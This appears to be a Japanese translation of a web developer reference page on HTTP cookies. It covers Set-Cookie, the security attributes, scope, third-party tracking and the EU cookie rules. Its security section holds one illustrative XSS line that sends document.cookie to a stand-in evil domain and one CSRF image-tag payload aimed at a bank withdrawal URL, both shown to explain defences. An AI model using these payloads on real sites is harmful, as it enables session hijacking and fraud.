HTTP Cookie (ウェブ Cookie、ブラウザー Cookie) は、サーバーがユーザーのウェブブラウザーに送信する小さなデータであり、ブラウザーに保存されて次のリクエストと共に同じサーバーへ返送されます。一般的には、二つのリクエストが同じブラウザーから送信されたものであるかを知るために使用されます。例えば、ユーザーのログイン状態を維持することができます。Cookie は、ステートレスな HTTP プロトコルのためにステートフルな情報を記憶します。
Cookie は主に、以下の 3 つの用途で使用されます。
- セッション管理
- ログイン、ショッピングカート、ゲームのスコア、またはその他のサーバーが覚えておくべきもの
- パーソナライゼーション
- ユーザー設定、テーマ、その他の設定
- トラッキング
- ユーザーの行動の記録及び分析
Cookie は、クライアント側の汎用的な記憶領域として使用されたことがあります。これは他にクライアントへデータを保存する手段がなかった頃は合理的でしたが、現在では新しいストレージ API を採用することが推奨されます。Cookie はすべてのリクエストで送信されるので、 (特にモバイルデータ通信で) 効率を悪くする可能性があります。クライアントストレージ向けの新しい API として、Web storage API (localStorage
及び sessionStorage
) と IndexedDB があります。
保存された Cookie (およびウェブページが使用できる他のストレージ) を確認するには、開発ツールのストレージインスペクターを有効化して、ストレージのツリーで Cookie を選択してください。
Cookie の作成
HTTP リクエストを受け取った時、サーバーはレスポンスで Set-Cookie
ヘッダーを送信することができます。ふつう、Cookie はブラウザーに保存され、また Cookie は同じサーバーに対して行われるリクエストと共に、HTTP の Cookie
ヘッダーの中で送信されます。起源や期間を設定することができ、その後は Cookie が送信されなくなります。加えて、特定のドメインやパスへの制約が設定でき、Cookie をどこに送信するかを制限できます。
Set-Cookie
ヘッダーと Cookie
ヘッダー
HTTP の Set-Cookie
レスポンスヘッダーは、サーバーがユーザーエージェントへ Cookie を送信するために使用します。単純な Cookie は次のように設定されます。
Set-Cookie: <cookie-name>=<cookie-value>
このヘッダーは、サーバーからクライアントへ Cookie を保存するよう指示します。
Set-Cookie
ヘッダーの使い方は次の通りです。
HTTP/2.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [ページの内容]
GET /sample_page.html HTTP/2.0 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
セッション Cookie
上記で作成した Cookie はセッション Cookie です。Expires
または Max-Age
が指定されていないので、クライアントが終了したときに Cookie が削除されます。但し、ウェブブラウザーがセッション復元を使用すると、セッション Cookie の多くが、ブラウザーが閉じられなかったかのように持続的になることがあります。
持続的 Cookie
持続的 Cookie は、クライアントを閉じるときに無効になるのではなく、指定した日時 (Expires
) または指定した期間 (Max-Age
) が経過した後に無効になります。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
注記: 期限日を設定した時、設定された日時はサーバーではなく、Cookie が設定されるクライアントの日時に関連します。
Secure
及び HttpOnly
Cookie
セキュア Cookie は、 HTTPS プロトコルを通じた暗号化されたリクエストでのみサーバーに送信されます。Secure
とは言っても、本質的に安全ではなく、このフラグが本当の保護を提供できる訳ではないので、機密情報を Cookie に保存してはいけません。Chrome 52 及び Firefox 52 より、安全ではないサイト (http:
) では Secure
ディレクティブが付いた Cookie を設定できなくなっています。
クロスサイトスクリプティング (XSS) 攻撃を防ぐため、HttpOnly
の Cookie は、JavaScript の Document.cookie
API からアクセスすることができません。これらはサーバーにのみ送られます。例えば、サーバー側セッションを維持するための Cookie は JavaScript で利用する必要がないので、HttpOnly
フラグを設定するべきです。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Cookie のスコープ
Domain
及び Path
ディレクティブは、Cookie のスコープ、つまり Cookie を送信する対象の URL を定義します。
Domain
は、Cookie を受信することができるホストを指定します。指定されていない場合は、既定で現在の文書がある場所のホストになり、サブドメインは除外されます。Domain
が指定された場合、サブドメインは常に含まれます。
例えば、Domain=mozilla.org
を設定すると、developer.mozilla.org
のようなサブドメインも含まれます。
Path
は、Cookie
ヘッダーを送信するためにリクエストされた URL の中に含む必要がある URL のパスを示します。%x2F ("/") の文字はディレクトリ区切り文字として解釈され、サブディレクトリーにも同様に一致します。
例えば、Path=/docs
を設定すると、以下のパスに一致します。
/docs
/docs/Web/
/docs/Web/HTTP
SameSite
Cookie
SameSite
Cookie は、クロスサイトリクエストと共に Cookie を送信してはならないことをサーバーが示せるようにします。これは、クロスサイトリクエストフォージェリ攻撃 (CSRF) の対策のひとつです。 SameSite
Cookie はまだ実験的であり、対応していないブラウザーがあります。
次に例を示します。
Set-Cookie: key=value; SameSite=strict
same-site 属性は二つの値のうち一つを取ることができます。
strict
- same-site Cookie がこの値を持っていた場合、ブラウザーはリクエストが Cookie を設定したウェブサイトに対しての場合のみ送信します。リクエストが現在の場所の URL とは異なる URL に対して行われる場合、
strict
属性でタグ付けされた Cookie は含まれません。 lax
- この属性が lax に設定された場合、 same-site Cookie はドメイン間のサブリクエスト、つまり画像やフレームの読み込みのための呼び出しで保持されますが、ユーザーがリンクをたどった場合など、外部サイトの URL でも送信されます。
このフラグが設定されていなかったり、ブラウザーが対応していなかったりする場合は、オリジン間のリクエストを含め、あらゆるリクエストで Cookie が含まれます。、
Document.cookies を使用して JavaScript でアクセスする
Document.cookie
プロパティを使用して新しい Cookie を作成することもできます。また HttpOnly
フラグが設定されていなければ、既存の Cookie に JavaScript からアクセスすることもできます。
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // "yummy_cookie=choco; tasty_cookie=strawberry" をログに記録
JavaScript で生成された Cookie は HttpOnly
フラグを含むことができません。
後述するセキュリティの節に記載したとおり、セキュリティの影響に注意してください。JavaScript で使用できる Cookie は、XSS によって盗まれる可能性があります。
セキュリティ
HTTP Cookie は仕組み全体が本質的に安全ではないため、機密情報や重要な情報を保存したり転送したりしてはいけません。
セッションハイジャックと XSS
Cookie は、ユーザーや認証セッションの識別を行うために、ウェブアプリケーションでよく使われており、Cookie が盗まれるとユーザーの認証済みセッションの乗っ取りにつながります。Cookie を盗む手口としては、ソーシャルエンジニアリングやアプリケーションの XSS 脆弱性の悪用がよくあります。
(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;
Cookie の HttpOnly
属性を使用すると、JavaScript で Cookie の値にアクセスできなくため、これらの攻撃を緩和するのに役立ちます。
クロスサイトリクエストフォージェリ (CSRF)
Wikipedia で CSRF の的確な例を挙げています。この場面では、誰かが (例えばフィルタリングされていないチャットやフォーラムに) 画像として、本当は画像ではなく銀行のサーバーに対する資金の引き出し要求であるものを含めています。
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
ここで、もし銀行のアカウントにログイン中であり、Cookie がまだ有効である (また、他の検証が行われていない) 場合は、この画像を含む HTML を読み込むと、すぐに送金されてしまうでしょう。このようなことを防ぐために使われる方法がいくつかあります。
- XSS と同様に、入力内容のフィルタリングが重要です。
- 注意が必要なアクションに対して、常に確認を必要とするべきです。
- 注意が必要なアクションで使用する Cookie は、有効期間を短くし、 sameSite 属性を
strict
に設定してください。 (上記の SameSite Cookie を参照) - ほかの防御策については、OWASP CSRF prevention cheat sheet をご覧ください。
トラッキングとプライバシー
サードパーティの Cookie
Cookie には、関連付けられたドメインが存在します。このドメインとページが存在するドメインが同じである Cookie は、ファーストパーティ Cookie と呼びます。ドメインが異なる場合は、サードパーティ Cookie と呼びます。ファーストパーティ Cookie は、Cookie を設定したサーバーにしか送信されませんが、ウェブページには他のドメインのサーバーに保存されている画像などの部品 (広告バナーなど) が含まれている場合があります。これらサードパーティの部品によって送信される Cookie は、サードパーティ Cookie と呼ばれ、主にウェブのいたるところで広告やトラッキングを行うために使われています。例として Google が使用している Cookie の種類をご覧ください。ほとんどのブラウザーは既定でサードパーティ Cookie を許可していますが、それらを遮断できるアドオン (例えば EFF による Privacy Badger) があります。
サードパーティ Cookie を明らかにしなければ、消費者は Cookie の使用が分かったときに害があるものだと考えるでしょう。(プライバシーポリシーなどで) 明確に開示することで、Cookie を見つけたときの悪影響を防止できるでしょう。また、Cookie に関する法令が存在する国もあります。例えば、ウィキメディア財団の Cookie に関する声明をご覧ください。
Do-Not-Track
使用に関して法的あるいは技術的な要求はありませんが、ウェブアプリケーションに、アプリケーションのトラッキングやユーザー個人をサイト間でトラッキングすることを無効化すべきであると知らせるために DNT
ヘッダーを使用することができます。詳しくは DNT
ヘッダーをご覧ください。
EU Cookie 指令
EU における Cookie の要件が、欧州議会の Directive 2009/136/EC で定義され、2011年5月25日に発効しました。指令そのものは法令ではありませんが、EU 加盟国への要求では、指令の要件に合致する適切な法令を施行するよう述べています。実際の法令は、国によって異なります。
簡単に言うと EU 指令では、誰かがコンピューターや携帯電話などの機器に情報を保存したりデバイスから情報を取り出したりする前に、ユーザーは説明に基づいて同意を与えなければなりません。これ以降多くのウェブサイトが、Cookie を使用していることをユーザーに通知するバナー (別名「Cookie バナー」) を追加しました。
詳しくは Wikipedia のこちらの章 をご覧いただき、最新かつ正確な情報を得るために各国の法令を確認してください。
ゾンビ Cookie とエバー Cookie
ゾンビ Cookie やエバー Cookie は、削除後に再作成をしたり、意図的に永久に削除することを困難にしたりする、より過激な Cookie への取り組みです。これは、Web storage API や Flash の Local Shared Objects 等の技術を使用して、 Cookie が存在しないことを検出したときに再作成するものです。